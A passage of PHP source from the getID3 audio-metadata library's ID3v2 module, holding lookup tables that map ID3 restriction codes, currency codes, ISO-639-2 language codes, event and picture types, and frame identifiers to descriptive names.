	public function LookupExtendedHeaderRestrictionsTextEncodings($index) {
		static $LookupExtendedHeaderRestrictionsTextEncodings = array(
			0x00 => 'No restrictions',
			0x01 => 'Strings are only encoded with ISO-8859-1 or UTF-8',
		);
		return (isset($LookupExtendedHeaderRestrictionsTextEncodings[$index]) ? $LookupExtendedHeaderRestrictionsTextEncodings[$index] : '');
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public function LookupExtendedHeaderRestrictionsTextFieldSize($index) {
		static $LookupExtendedHeaderRestrictionsTextFieldSize = array(
			0x00 => 'No restrictions',
			0x01 => 'No string is longer than 1024 characters',
			0x02 => 'No string is longer than 128 characters',
			0x03 => 'No string is longer than 30 characters',
		);
		return (isset($LookupExtendedHeaderRestrictionsTextFieldSize[$index]) ? $LookupExtendedHeaderRestrictionsTextFieldSize[$index] : '');
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public function LookupExtendedHeaderRestrictionsImageEncoding($index) {
		static $LookupExtendedHeaderRestrictionsImageEncoding = array(
			0x00 => 'No restrictions',
			0x01 => 'Images are encoded only with PNG or JPEG',
		);
		return (isset($LookupExtendedHeaderRestrictionsImageEncoding[$index]) ? $LookupExtendedHeaderRestrictionsImageEncoding[$index] : '');
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public function LookupExtendedHeaderRestrictionsImageSizeSize($index) {
		static $LookupExtendedHeaderRestrictionsImageSizeSize = array(
			0x00 => 'No restrictions',
			0x01 => 'All images are 256x256 pixels or smaller',
			0x02 => 'All images are 64x64 pixels or smaller',
			0x03 => 'All images are exactly 64x64 pixels, unless required otherwise',
		);
		return (isset($LookupExtendedHeaderRestrictionsImageSizeSize[$index]) ? $LookupExtendedHeaderRestrictionsImageSizeSize[$index] : '');
	}

	/**
	 * @param string $currencyid
	 *
	 * @return string
	 */
	public function LookupCurrencyUnits($currencyid) {

		$begin = __LINE__;

		/** This is not a comment!


			AED	Dirhams
			AFA	Afghanis
			ALL	Leke
			AMD	Drams
			ANG	Guilders
			AOA	Kwanza
			ARS	Pesos
			ATS	Schillings
			AUD	Dollars
			AWG	Guilders
			AZM	Manats
			BAM	Convertible Marka
			BBD	Dollars
			BDT	Taka
			BEF	Francs
			BGL	Leva
			BHD	Dinars
			BIF	Francs
			BMD	Dollars
			BND	Dollars
			BOB	Bolivianos
			BRL	Brazil Real
			BSD	Dollars
			BTN	Ngultrum
			BWP	Pulas
			BYR	Rubles
			BZD	Dollars
			CAD	Dollars
			CDF	Congolese Francs
			CHF	Francs
			CLP	Pesos
			CNY	Yuan Renminbi
			COP	Pesos
			CRC	Colones
			CUP	Pesos
			CVE	Escudos
			CYP	Pounds
			CZK	Koruny
			DEM	Deutsche Marks
			DJF	Francs
			DKK	Kroner
			DOP	Pesos
			DZD	Algeria Dinars
			EEK	Krooni
			EGP	Pounds
			ERN	Nakfa
			ESP	Pesetas
			ETB	Birr
			EUR	Euro
			FIM	Markkaa
			FJD	Dollars
			FKP	Pounds
			FRF	Francs
			GBP	Pounds
			GEL	Lari
			GGP	Pounds
			GHC	Cedis
			GIP	Pounds
			GMD	Dalasi
			GNF	Francs
			GRD	Drachmae
			GTQ	Quetzales
			GYD	Dollars
			HKD	Dollars
			HNL	Lempiras
			HRK	Kuna
			HTG	Gourdes
			HUF	Forints
			IDR	Rupiahs
			IEP	Pounds
			ILS	New Shekels
			IMP	Pounds
			INR	Rupees
			IQD	Dinars
			IRR	Rials
			ISK	Kronur
			ITL	Lire
			JEP	Pounds
			JMD	Dollars
			JOD	Dinars
			JPY	Yen
			KES	Shillings
			KGS	Soms
			KHR	Riels
			KMF	Francs
			KPW	Won
			KWD	Dinars
			KYD	Dollars
			KZT	Tenge
			LAK	Kips
			LBP	Pounds
			LKR	Rupees
			LRD	Dollars
			LSL	Maloti
			LTL	Litai
			LUF	Francs
			LVL	Lati
			LYD	Dinars
			MAD	Dirhams
			MDL	Lei
			MGF	Malagasy Francs
			MKD	Denars
			MMK	Kyats
			MNT	Tugriks
			MOP	Patacas
			MRO	Ouguiyas
			MTL	Liri
			MUR	Rupees
			MVR	Rufiyaa
			MWK	Kwachas
			MXN	Pesos
			MYR	Ringgits
			MZM	Meticais
			NAD	Dollars
			NGN	Nairas
			NIO	Gold Cordobas
			NLG	Guilders
			NOK	Krone
			NPR	Nepal Rupees
			NZD	Dollars
			OMR	Rials
			PAB	Balboa
			PEN	Nuevos Soles
			PGK	Kina
			PHP	Pesos
			PKR	Rupees
			PLN	Zlotych
			PTE	Escudos
			PYG	Guarani
			QAR	Rials
			ROL	Lei
			RUR	Rubles
			RWF	Rwanda Francs
			SAR	Riyals
			SBD	Dollars
			SCR	Rupees
			SDD	Dinars
			SEK	Kronor
			SGD	Dollars
			SHP	Pounds
			SIT	Tolars
			SKK	Koruny
			SLL	Leones
			SOS	Shillings
			SPL	Luigini
			SRG	Guilders
			STD	Dobras
			SVC	Colones
			SYP	Pounds
			SZL	Emalangeni
			THB	Baht
			TJR	Rubles
			TMM	Manats
			TND	Dinars
			TOP	Pa'anga
			TRL	Liras (old)
			TRY	Liras
			TTD	Dollars
			TVD	Tuvalu Dollars
			TWD	New Dollars
			TZS	Shillings
			UAH	Hryvnia
			UGX	Shillings
			USD	Dollars
			UYU	Pesos
			UZS	Sums
			VAL	Lire
			VEB	Bolivares
			VND	Dong
			VUV	Vatu
			WST	Tala
			XAF	Francs
			XAG	Ounces
			XAU	Ounces
			XCD	Dollars
			XDR	Special Drawing Rights
			XPD	Ounces
			XPF	Francs
			XPT	Ounces
			YER	Rials
			YUM	New Dinars
			ZAR	Rand
			ZMK	Kwacha
			ZWD	Zimbabwe Dollars

		*/

		return getid3_lib::EmbeddedLookup($currencyid, $begin, __LINE__, __FILE__, 'id3v2-currency-units');
	}

	/**
	 * @param string $currencyid
	 *
	 * @return string
	 */
	public function LookupCurrencyCountry($currencyid) {

		$begin = __LINE__;

		/** This is not a comment!

			AED	United Arab Emirates
			AFA	Afghanistan
			ALL	Albania
			AMD	Armenia
			ANG	Netherlands Antilles
			AOA	Angola
			ARS	Argentina
			ATS	Austria
			AUD	Australia
			AWG	Aruba
			AZM	Azerbaijan
			BAM	Bosnia and Herzegovina
			BBD	Barbados
			BDT	Bangladesh
			BEF	Belgium
			BGL	Bulgaria
			BHD	Bahrain
			BIF	Burundi
			BMD	Bermuda
			BND	Brunei Darussalam
			BOB	Bolivia
			BRL	Brazil
			BSD	Bahamas
			BTN	Bhutan
			BWP	Botswana
			BYR	Belarus
			BZD	Belize
			CAD	Canada
			CDF	Congo/Kinshasa
			CHF	Switzerland
			CLP	Chile
			CNY	China
			COP	Colombia
			CRC	Costa Rica
			CUP	Cuba
			CVE	Cape Verde
			CYP	Cyprus
			CZK	Czech Republic
			DEM	Germany
			DJF	Djibouti
			DKK	Denmark
			DOP	Dominican Republic
			DZD	Algeria
			EEK	Estonia
			EGP	Egypt
			ERN	Eritrea
			ESP	Spain
			ETB	Ethiopia
			EUR	Euro Member Countries
			FIM	Finland
			FJD	Fiji
			FKP	Falkland Islands (Malvinas)
			FRF	France
			GBP	United Kingdom
			GEL	Georgia
			GGP	Guernsey
			GHC	Ghana
			GIP	Gibraltar
			GMD	Gambia
			GNF	Guinea
			GRD	Greece
			GTQ	Guatemala
			GYD	Guyana
			HKD	Hong Kong
			HNL	Honduras
			HRK	Croatia
			HTG	Haiti
			HUF	Hungary
			IDR	Indonesia
			IEP	Ireland (Eire)
			ILS	Israel
			IMP	Isle of Man
			INR	India
			IQD	Iraq
			IRR	Iran
			ISK	Iceland
			ITL	Italy
			JEP	Jersey
			JMD	Jamaica
			JOD	Jordan
			JPY	Japan
			KES	Kenya
			KGS	Kyrgyzstan
			KHR	Cambodia
			KMF	Comoros
			KPW	Korea
			KWD	Kuwait
			KYD	Cayman Islands
			KZT	Kazakstan
			LAK	Laos
			LBP	Lebanon
			LKR	Sri Lanka
			LRD	Liberia
			LSL	Lesotho
			LTL	Lithuania
			LUF	Luxembourg
			LVL	Latvia
			LYD	Libya
			MAD	Morocco
			MDL	Moldova
			MGF	Madagascar
			MKD	Macedonia
			MMK	Myanmar (Burma)
			MNT	Mongolia
			MOP	Macau
			MRO	Mauritania
			MTL	Malta
			MUR	Mauritius
			MVR	Maldives (Maldive Islands)
			MWK	Malawi
			MXN	Mexico
			MYR	Malaysia
			MZM	Mozambique
			NAD	Namibia
			NGN	Nigeria
			NIO	Nicaragua
			NLG	Netherlands (Holland)
			NOK	Norway
			NPR	Nepal
			NZD	New Zealand
			OMR	Oman
			PAB	Panama
			PEN	Peru
			PGK	Papua New Guinea
			PHP	Philippines
			PKR	Pakistan
			PLN	Poland
			PTE	Portugal
			PYG	Paraguay
			QAR	Qatar
			ROL	Romania
			RUR	Russia
			RWF	Rwanda
			SAR	Saudi Arabia
			SBD	Solomon Islands
			SCR	Seychelles
			SDD	Sudan
			SEK	Sweden
			SGD	Singapore
			SHP	Saint Helena
			SIT	Slovenia
			SKK	Slovakia
			SLL	Sierra Leone
			SOS	Somalia
			SPL	Seborga
			SRG	Suriname
			STD	São Tome and Principe
			SVC	El Salvador
			SYP	Syria
			SZL	Swaziland
			THB	Thailand
			TJR	Tajikistan
			TMM	Turkmenistan
			TND	Tunisia
			TOP	Tonga
			TRL	Turkey
			TRY	Turkey
			TTD	Trinidad and Tobago
			TVD	Tuvalu
			TWD	Taiwan
			TZS	Tanzania
			UAH	Ukraine
			UGX	Uganda
			USD	United States of America
			UYU	Uruguay
			UZS	Uzbekistan
			VAL	Vatican City
			VEB	Venezuela
			VND	Viet Nam
			VUV	Vanuatu
			WST	Samoa
			XAF	Communauté Financière Africaine
			XAG	Silver
			XAU	Gold
			XCD	East Caribbean
			XDR	International Monetary Fund
			XPD	Palladium
			XPF	Comptoirs Français du Pacifique
			XPT	Platinum
			YER	Yemen
			YUM	Yugoslavia
			ZAR	South Africa
			ZMK	Zambia
			ZWD	Zimbabwe

		*/

		return getid3_lib::EmbeddedLookup($currencyid, $begin, __LINE__, __FILE__, 'id3v2-currency-country');
	}

	/**
	 * @param string $languagecode
	 * @param bool   $casesensitive
	 *
	 * @return string
	 */
	public static function LanguageLookup($languagecode, $casesensitive=false) {

		if (!$casesensitive) {
			$languagecode = strtolower($languagecode);
		}

		// http://www.id3.org/id3v2.4.0-structure.txt
		// [4.   ID3v2 frame overview]
		// The three byte language field, present in several frames, is used to
		// describe the language of the frame's content, according to ISO-639-2
		// [ISO-639-2]. The language should be represented in lower case. If the
		// language is not known the string "XXX" should be used.


		// ISO 639-2 - http://www.id3.org/iso639-2.html

		$begin = __LINE__;

		/** This is not a comment!

			XXX	unknown
			xxx	unknown
			aar	Afar
			abk	Abkhazian
			ace	Achinese
			ach	Acoli
			ada	Adangme
			afa	Afro-Asiatic (Other)
			afh	Afrihili
			afr	Afrikaans
			aka	Akan
			akk	Akkadian
			alb	Albanian
			ale	Aleut
			alg	Algonquian Languages
			amh	Amharic
			ang	English, Old (ca. 450-1100)
			apa	Apache Languages
			ara	Arabic
			arc	Aramaic
			arm	Armenian
			arn	Araucanian
			arp	Arapaho
			art	Artificial (Other)
			arw	Arawak
			asm	Assamese
			ath	Athapascan Languages
			ava	Avaric
			ave	Avestan
			awa	Awadhi
			aym	Aymara
			aze	Azerbaijani
			bad	Banda
			bai	Bamileke Languages
			bak	Bashkir
			bal	Baluchi
			bam	Bambara
			ban	Balinese
			baq	Basque
			bas	Basa
			bat	Baltic (Other)
			bej	Beja
			bel	Byelorussian
			bem	Bemba
			ben	Bengali
			ber	Berber (Other)
			bho	Bhojpuri
			bih	Bihari
			bik	Bikol
			bin	Bini
			bis	Bislama
			bla	Siksika
			bnt	Bantu (Other)
			bod	Tibetan
			bra	Braj
			bre	Breton
			bua	Buriat
			bug	Buginese
			bul	Bulgarian
			bur	Burmese
			cad	Caddo
			cai	Central American Indian (Other)
			car	Carib
			cat	Catalan
			cau	Caucasian (Other)
			ceb	Cebuano
			cel	Celtic (Other)
			ces	Czech
			cha	Chamorro
			chb	Chibcha
			che	Chechen
			chg	Chagatai
			chi	Chinese
			chm	Mari
			chn	Chinook jargon
			cho	Choctaw
			chr	Cherokee
			chu	Church Slavic
			chv	Chuvash
			chy	Cheyenne
			cop	Coptic
			cor	Cornish
			cos	Corsican
			cpe	Creoles and Pidgins, English-based (Other)
			cpf	Creoles and Pidgins, French-based (Other)
			cpp	Creoles and Pidgins, Portuguese-based (Other)
			cre	Cree
			crp	Creoles and Pidgins (Other)
			cus	Cushitic (Other)
			cym	Welsh
			cze	Czech
			dak	Dakota
			dan	Danish
			del	Delaware
			deu	German
			din	Dinka
			div	Divehi
			doi	Dogri
			dra	Dravidian (Other)
			dua	Duala
			dum	Dutch, Middle (ca. 1050-1350)
			dut	Dutch
			dyu	Dyula
			dzo	Dzongkha
			efi	Efik
			egy	Egyptian (Ancient)
			eka	Ekajuk
			ell	Greek, Modern (1453-)
			elx	Elamite
			eng	English
			enm	English, Middle (ca. 1100-1500)
			epo	Esperanto
			esk	Eskimo (Other)
			esl	Spanish
			est	Estonian
			eus	Basque
			ewe	Ewe
			ewo	Ewondo
			fan	Fang
			fao	Faroese
			fas	Persian
			fat	Fanti
			fij	Fijian
			fin	Finnish
			fiu	Finno-Ugrian (Other)
			fon	Fon
			fra	French
			fre	French
			frm	French, Middle (ca. 1400-1600)
			fro	French, Old (842- ca. 1400)
			fry	Frisian
			ful	Fulah
			gaa	Ga
			gae	Gaelic (Scots)
			gai	Irish
			gay	Gayo
			gdh	Gaelic (Scots)
			gem	Germanic (Other)
			geo	Georgian
			ger	German
			gez	Geez
			gil	Gilbertese
			glg	Gallegan
			gmh	German, Middle High (ca. 1050-1500)
			goh	German, Old High (ca. 750-1050)
			gon	Gondi
			got	Gothic
			grb	Grebo
			grc	Greek, Ancient (to 1453)
			gre	Greek, Modern (1453-)
			grn	Guarani
			guj	Gujarati
			hai	Haida
			hau	Hausa
			haw	Hawaiian
			heb	Hebrew
			her	Herero
			hil	Hiligaynon
			him	Himachali
			hin	Hindi
			hmo	Hiri Motu
			hun	Hungarian
			hup	Hupa
			hye	Armenian
			iba	Iban
			ibo	Igbo
			ice	Icelandic
			ijo	Ijo
			iku	Inuktitut
			ilo	Iloko
			ina	Interlingua (International Auxiliary language Association)
			inc	Indic (Other)
			ind	Indonesian
			ine	Indo-European (Other)
			ine	Interlingue
			ipk	Inupiak
			ira	Iranian (Other)
			iri	Irish
			iro	Iroquoian uages
			isl	Icelandic
			ita	Italian
			jav	Javanese
			jaw	Javanese
			jpn	Japanese
			jpr	Judeo-Persian
			jrb	Judeo-Arabic
			kaa	Kara-Kalpak
			kab	Kabyle
			kac	Kachin
			kal	Greenlandic
			kam	Kamba
			kan	Kannada
			kar	Karen
			kas	Kashmiri
			kat	Georgian
			kau	Kanuri
			kaw	Kawi
			kaz	Kazakh
			kha	Khasi
			khi	Khoisan (Other)
			khm	Khmer
			kho	Khotanese
			kik	Kikuyu
			kin	Kinyarwanda
			kir	Kirghiz
			kok	Konkani
			kom	Komi
			kon	Kongo
			kor	Korean
			kpe	Kpelle
			kro	Kru
			kru	Kurukh
			kua	Kuanyama
			kum	Kumyk
			kur	Kurdish
			kus	Kusaie
			kut	Kutenai
			lad	Ladino
			lah	Lahnda
			lam	Lamba
			lao	Lao
			lat	Latin
			lav	Latvian
			lez	Lezghian
			lin	Lingala
			lit	Lithuanian
			lol	Mongo
			loz	Lozi
			ltz	Letzeburgesch
			lub	Luba-Katanga
			lug	Ganda
			lui	Luiseno
			lun	Lunda
			luo	Luo (Kenya and Tanzania)
			mac	Macedonian
			mad	Madurese
			mag	Magahi
			mah	Marshall
			mai	Maithili
			mak	Macedonian
			mak	Makasar
			mal	Malayalam
			man	Mandingo
			mao	Maori
			map	Austronesian (Other)
			mar	Marathi
			mas	Masai
			max	Manx
			may	Malay
			men	Mende
			mga	Irish, Middle (900 - 1200)
			mic	Micmac
			min	Minangkabau
			mis	Miscellaneous (Other)
			mkh	Mon-Kmer (Other)
			mlg	Malagasy
			mlt	Maltese
			mni	Manipuri
			mno	Manobo Languages
			moh	Mohawk
			mol	Moldavian
			mon	Mongolian
			mos	Mossi
			mri	Maori
			msa	Malay
			mul	Multiple Languages
			mun	Munda Languages
			mus	Creek
			mwr	Marwari
			mya	Burmese
			myn	Mayan Languages
			nah	Aztec
			nai	North American Indian (Other)
			nau	Nauru
			nav	Navajo
			nbl	Ndebele, South
			nde	Ndebele, North
			ndo	Ndongo
			nep	Nepali
			new	Newari
			nic	Niger-Kordofanian (Other)
			niu	Niuean
			nla	Dutch
			nno	Norwegian (Nynorsk)
			non	Norse, Old
			nor	Norwegian
			nso	Sotho, Northern
			nub	Nubian Languages
			nya	Nyanja
			nym	Nyamwezi
			nyn	Nyankole
			nyo	Nyoro
			nzi	Nzima
			oci	Langue d'Oc (post 1500)
			oji	Ojibwa
			ori	Oriya
			orm	Oromo
			osa	Osage
			oss	Ossetic
			ota	Turkish, Ottoman (1500 - 1928)
			oto	Otomian Languages
			paa	Papuan-Australian (Other)
			pag	Pangasinan
			pal	Pahlavi
			pam	Pampanga
			pan	Panjabi
			pap	Papiamento
			pau	Palauan
			peo	Persian, Old (ca 600 - 400 B.C.)
			per	Persian
			phn	Phoenician
			pli	Pali
			pol	Polish
			pon	Ponape
			por	Portuguese
			pra	Prakrit uages
			pro	Provencal, Old (to 1500)
			pus	Pushto
			que	Quechua
			raj	Rajasthani
			rar	Rarotongan
			roa	Romance (Other)
			roh	Rhaeto-Romance
			rom	Romany
			ron	Romanian
			rum	Romanian
			run	Rundi
			rus	Russian
			sad	Sandawe
			sag	Sango
			sah	Yakut
			sai	South American Indian (Other)
			sal	Salishan Languages
			sam	Samaritan Aramaic
			san	Sanskrit
			sco	Scots
			scr	Serbo-Croatian
			sel	Selkup
			sem	Semitic (Other)
			sga	Irish, Old (to 900)
			shn	Shan
			sid	Sidamo
			sin	Singhalese
			sio	Siouan Languages
			sit	Sino-Tibetan (Other)
			sla	Slavic (Other)
			slk	Slovak
			slo	Slovak
			slv	Slovenian
			smi	Sami Languages
			smo	Samoan
			sna	Shona
			snd	Sindhi
			sog	Sogdian
			som	Somali
			son	Songhai
			sot	Sotho, Southern
			spa	Spanish
			sqi	Albanian
			srd	Sardinian
			srr	Serer
			ssa	Nilo-Saharan (Other)
			ssw	Siswant
			ssw	Swazi
			suk	Sukuma
			sun	Sudanese
			sus	Susu
			sux	Sumerian
			sve	Swedish
			swa	Swahili
			swe	Swedish
			syr	Syriac
			tah	Tahitian
			tam	Tamil
			tat	Tatar
			tel	Telugu
			tem	Timne
			ter	Tereno
			tgk	Tajik
			tgl	Tagalog
			tha	Thai
			tib	Tibetan
			tig	Tigre
			tir	Tigrinya
			tiv	Tivi
			tli	Tlingit
			tmh	Tamashek
			tog	Tonga (Nyasa)
			ton	Tonga (Tonga Islands)
			tru	Truk
			tsi	Tsimshian
			tsn	Tswana
			tso	Tsonga
			tuk	Turkmen
			tum	Tumbuka
			tur	Turkish
			tut	Altaic (Other)
			twi	Twi
			tyv	Tuvinian
			uga	Ugaritic
			uig	Uighur
			ukr	Ukrainian
			umb	Umbundu
			und	Undetermined
			urd	Urdu
			uzb	Uzbek
			vai	Vai
			ven	Venda
			vie	Vietnamese
			vol	Volapük
			vot	Votic
			wak	Wakashan Languages
			wal	Walamo
			war	Waray
			was	Washo
			wel	Welsh
			wen	Sorbian Languages
			wol	Wolof
			xho	Xhosa
			yao	Yao
			yap	Yap
			yid	Yiddish
			yor	Yoruba
			zap	Zapotec
			zen	Zenaga
			zha	Zhuang
			zho	Chinese
			zul	Zulu
			zun	Zuni

		*/

		return getid3_lib::EmbeddedLookup($languagecode, $begin, __LINE__, __FILE__, 'id3v2-languagecode');
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public static function ETCOEventLookup($index) {
		if (($index >= 0x17) && ($index <= 0xDF)) {
			return 'reserved for future use';
		}
		if (($index >= 0xE0) && ($index <= 0xEF)) {
			return 'not predefined synch 0-F';
		}
		if (($index >= 0xF0) && ($index <= 0xFC)) {
			return 'reserved for future use';
		}

		static $EventLookup = array(
			0x00 => 'padding (has no meaning)',
			0x01 => 'end of initial silence',
			0x02 => 'intro start',
			0x03 => 'main part start',
			0x04 => 'outro start',
			0x05 => 'outro end',
			0x06 => 'verse start',
			0x07 => 'refrain start',
			0x08 => 'interlude start',
			0x09 => 'theme start',
			0x0A => 'variation start',
			0x0B => 'key change',
			0x0C => 'time change',
			0x0D => 'momentary unwanted noise (Snap, Crackle & Pop)',
			0x0E => 'sustained noise',
			0x0F => 'sustained noise end',
			0x10 => 'intro end',
			0x11 => 'main part end',
			0x12 => 'verse end',
			0x13 => 'refrain end',
			0x14 => 'theme end',
			0x15 => 'profanity',
			0x16 => 'profanity end',
			0xFD => 'audio end (start of silence)',
			0xFE => 'audio file ends',
			0xFF => 'one more byte of events follows'
		);

		return (isset($EventLookup[$index]) ? $EventLookup[$index] : '');
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public static function SYTLContentTypeLookup($index) {
		static $SYTLContentTypeLookup = array(
			0x00 => 'other',
			0x01 => 'lyrics',
			0x02 => 'text transcription',
			0x03 => 'movement/part name', // (e.g. 'Adagio')
			0x04 => 'events',             // (e.g. 'Don Quijote enters the stage')
			0x05 => 'chord',              // (e.g. 'Bb F Fsus')
			0x06 => 'trivia/\'pop up\' information',
			0x07 => 'URLs to webpages',
			0x08 => 'URLs to images'
		);

		return (isset($SYTLContentTypeLookup[$index]) ? $SYTLContentTypeLookup[$index] : '');
	}

	/**
	 * @param int   $index
	 * @param bool $returnarray
	 *
	 * @return array|string
	 */
	public static function APICPictureTypeLookup($index, $returnarray=false) {
		static $APICPictureTypeLookup = array(
			0x00 => 'Other',
			0x01 => '32x32 pixels \'file icon\' (PNG only)',
			0x02 => 'Other file icon',
			0x03 => 'Cover (front)',
			0x04 => 'Cover (back)',
			0x05 => 'Leaflet page',
			0x06 => 'Media (e.g. label side of CD)',
			0x07 => 'Lead artist/lead performer/soloist',
			0x08 => 'Artist/performer',
			0x09 => 'Conductor',
			0x0A => 'Band/Orchestra',
			0x0B => 'Composer',
			0x0C => 'Lyricist/text writer',
			0x0D => 'Recording Location',
			0x0E => 'During recording',
			0x0F => 'During performance',
			0x10 => 'Movie/video screen capture',
			0x11 => 'A bright coloured fish',
			0x12 => 'Illustration',
			0x13 => 'Band/artist logotype',
			0x14 => 'Publisher/Studio logotype'
		);
		if ($returnarray) {
			return $APICPictureTypeLookup;
		}
		return (isset($APICPictureTypeLookup[$index]) ? $APICPictureTypeLookup[$index] : '');
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public static function COMRReceivedAsLookup($index) {
		static $COMRReceivedAsLookup = array(
			0x00 => 'Other',
			0x01 => 'Standard CD album with other songs',
			0x02 => 'Compressed audio on CD',
			0x03 => 'File over the Internet',
			0x04 => 'Stream over the Internet',
			0x05 => 'As note sheets',
			0x06 => 'As note sheets in a book with other sheets',
			0x07 => 'Music on other media',
			0x08 => 'Non-musical merchandise'
		);

		return (isset($COMRReceivedAsLookup[$index]) ? $COMRReceivedAsLookup[$index] : '');
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public static function RVA2ChannelTypeLookup($index) {
		static $RVA2ChannelTypeLookup = array(
			0x00 => 'Other',
			0x01 => 'Master volume',
			0x02 => 'Front right',
			0x03 => 'Front left',
			0x04 => 'Back right',
			0x05 => 'Back left',
			0x06 => 'Front centre',
			0x07 => 'Back centre',
			0x08 => 'Subwoofer'
		);

		return (isset($RVA2ChannelTypeLookup[$index]) ? $RVA2ChannelTypeLookup[$index] : '');
	}

	/**
	 * @param string $framename
	 *
	 * @return string
	 */
	public static function FrameNameLongLookup($framename) {

		$begin = __LINE__;

		/** This is not a comment!

			AENC	Audio encryption
			APIC	Attached picture
			ASPI	Audio seek point index
			BUF	Recommended buffer size
			CNT	Play counter
			COM	Comments
			COMM	Comments
			COMR	Commercial frame
			CRA	Audio encryption
			CRM	Encrypted meta frame
			ENCR	Encryption method registration
			EQU	Equalisation
			EQU2	Equalisation (2)
			EQUA	Equalisation
			ETC	Event timing codes
			ETCO	Event timing codes
			GEO	General encapsulated object
			GEOB	General encapsulated object
			GRID	Group identification registration
			IPL	Involved people list
			IPLS	Involved people list
			LINK	Linked information
			LNK	Linked information
			MCDI	Music CD identifier
			MCI	Music CD Identifier
			MLL	MPEG location lookup table
			MLLT	MPEG location lookup table
			OWNE	Ownership frame
			PCNT	Play counter
			PIC	Attached picture
			POP	Popularimeter
			POPM	Popularimeter
			POSS	Position synchronisation frame
			PRIV	Private frame
			RBUF	Recommended buffer size
			REV	Reverb
			RVA	Relative volume adjustment
			RVA2	Relative volume adjustment (2)
			RVAD	Relative volume adjustment
			RVRB	Reverb
			SEEK	Seek frame
			SIGN	Signature frame
			SLT	Synchronised lyric/text
			STC	Synced tempo codes
			SYLT	Synchronised lyric/text
			SYTC	Synchronised tempo codes
			TAL	Album/Movie/Show title
			TALB	Album/Movie/Show title
			TBP	BPM (Beats Per Minute)
			TBPM	BPM (beats per minute)
			TCM	Composer
			TCMP	Part of a compilation
			TCO	Content type
			TCOM	Composer
			TCON	Content type
			TCOP	Copyright message
			TCP	Part of a compilation
			TCR	Copyright message
			TDA	Date
			TDAT	Date
			TDEN	Encoding time
			TDLY	Playlist delay
			TDOR	Original release time
			TDRC	Recording time
			TDRL	Release time
			TDTG	Tagging time
			TDY	Playlist delay
			TEN	Encoded by
			TENC	Encoded by
			TEXT	Lyricist/Text writer
			TFLT	File type
			TFT	File type
			TIM	Time
			TIME	Time
			TIPL	Involved people list
			TIT1	Content group description
			TIT2	Title/songname/content description
			TIT3	Subtitle/Description refinement
			TKE	Initial key
			TKEY	Initial key
			TLA	Language(s)
			TLAN	Language(s)
			TLE	Length
			TLEN	Length
			TMCL	Musician credits list
			TMED	Media type
			TMOO	Mood
			TMT	Media type
			TOA	Original artist(s)/performer(s)
			TOAL	Original album/movie/show title
			TOF	Original filename
			TOFN	Original filename
			TOL	Original Lyricist(s)/text writer(s)
			TOLY	Original lyricist(s)/text writer(s)
			TOPE	Original artist(s)/performer(s)
			TOR	Original release year
			TORY	Original release year
			TOT	Original album/Movie/Show title
			TOWN	File owner/licensee
			TP1	Lead artist(s)/Lead performer(s)/Soloist(s)/Performing group
			TP2	Band/Orchestra/Accompaniment
			TP3	Conductor/Performer refinement
			TP4	Interpreted, remixed, or otherwise modified by
			TPA	Part of a set
			TPB	Publisher
			TPE1	Lead performer(s)/Soloist(s)
			TPE2	Band/orchestra/accompaniment
			TPE3	Conductor/performer refinement
			TPE4	Interpreted, remixed, or otherwise modified by
			TPOS	Part of a set
			TPRO	Produced notice
			TPUB	Publisher
			TRC	ISRC (International Standard Recording Code)
			TRCK	Track number/Position in set
			TRD	Recording dates
			TRDA	Recording dates
			TRK	Track number/Position in set
			TRSN	Internet radio station name
			TRSO	Internet radio station owner
			TS2	Album-Artist sort order
			TSA	Album sort order
			TSC	Composer sort order
			TSI	Size
			TSIZ	Size
			TSO2	Album-Artist sort order
			TSOA	Album sort order
			TSOC	Composer sort order
			TSOP	Performer sort order
			TSOT	Title sort order
			TSP	Performer sort order
			TSRC	ISRC (international standard recording code)
			TSS	Software/hardware and settings used for encoding
			TSSE	Software/Hardware and settings used for encoding
			TSST	Set subtitle
			TST	Title sort order
			TT1	Content group description
			TT2	Title/Songname/Content description
			TT3	Subtitle/Description refinement
			TXT	Lyricist/text writer
			TXX	User defined text information frame
			TXXX	User defined text information frame
			TYE	Year
			TYER	Year
			UFI	Unique file identifier
			UFID	Unique file identifier
			ULT	Unsynchronised lyric/text transcription
			USER	Terms of use
			USLT	Unsynchronised lyric/text transcription
			WAF	Official audio file webpage
			WAR	Official artist/performer webpage
			WAS	Official audio source webpage
			WCM	Commercial information
			WCOM	Commercial information
			WCOP	Copyright/Legal information
			WCP	Copyright/Legal information
			WOAF	Official audio file webpage
			WOAR	Official artist/performer webpage
			WOAS	Official audio source webpage
			WORS	Official Internet radio station homepage
			WPAY	Payment
			WPB	Publishers official webpage
			WPUB	Publishers official webpage
			WXX	User defined URL link frame
			WXXX	User defined URL link frame
			TFEA	Featured Artist
			TSTU	Recording Studio
			rgad	Replay Gain Adjustment

		*/

		return getid3_lib::EmbeddedLookup($framename, $begin, __LINE__, __FILE__, 'id3v2-framename_long');

		// Last three:
		// from Helium2 [www.helium2.com]
		// from http://privatewww.essex.ac.uk/~djmrob/replaygain/file_format_id3v2.html
	}

	/**
	 * @param string $framename
	 *
	 * @return string
	 */
	public static function FrameNameShortLookup($framename) {

		$begin = __LINE__;

		/** This is not a comment!

			AENC	audio_encryption
			APIC	attached_picture
			ASPI	audio_seek_point_index
			BUF	recommended_buffer_size
			CNT	play_counter
			COM	comment
			COMM	comment
			COMR	commercial_frame
			CRA	audio_encryption
			CRM	encrypted_meta_frame
			ENCR	encryption_method_registration
			EQU	equalisation
			EQU2	equalisation
			EQUA	equalisation
			ETC	event_timing_codes
			ETCO	event_timing_codes
			GEO	general_encapsulated_object
			GEOB	general_encapsulated_object
			GRID	group_identification_registration
			IPL	involved_people_list
			IPLS	involved_people_list
			LINK	linked_information
			LNK	linked_information
			MCDI	music_cd_identifier
			MCI	music_cd_identifier
			MLL	mpeg_location_lookup_table
			MLLT	mpeg_location_lookup_table
			OWNE	ownership_frame
			PCNT	play_counter
			PIC	attached_picture
			POP	popularimeter
			POPM	popularimeter
			POSS	position_synchronisation_frame
			PRIV	private_frame
			RBUF	recommended_buffer_size
			REV	reverb
			RVA	relative_volume_adjustment
			RVA2	relative_volume_adjustment
			RVAD	relative_volume_adjustment
			RVRB	reverb
			SEEK	seek_frame
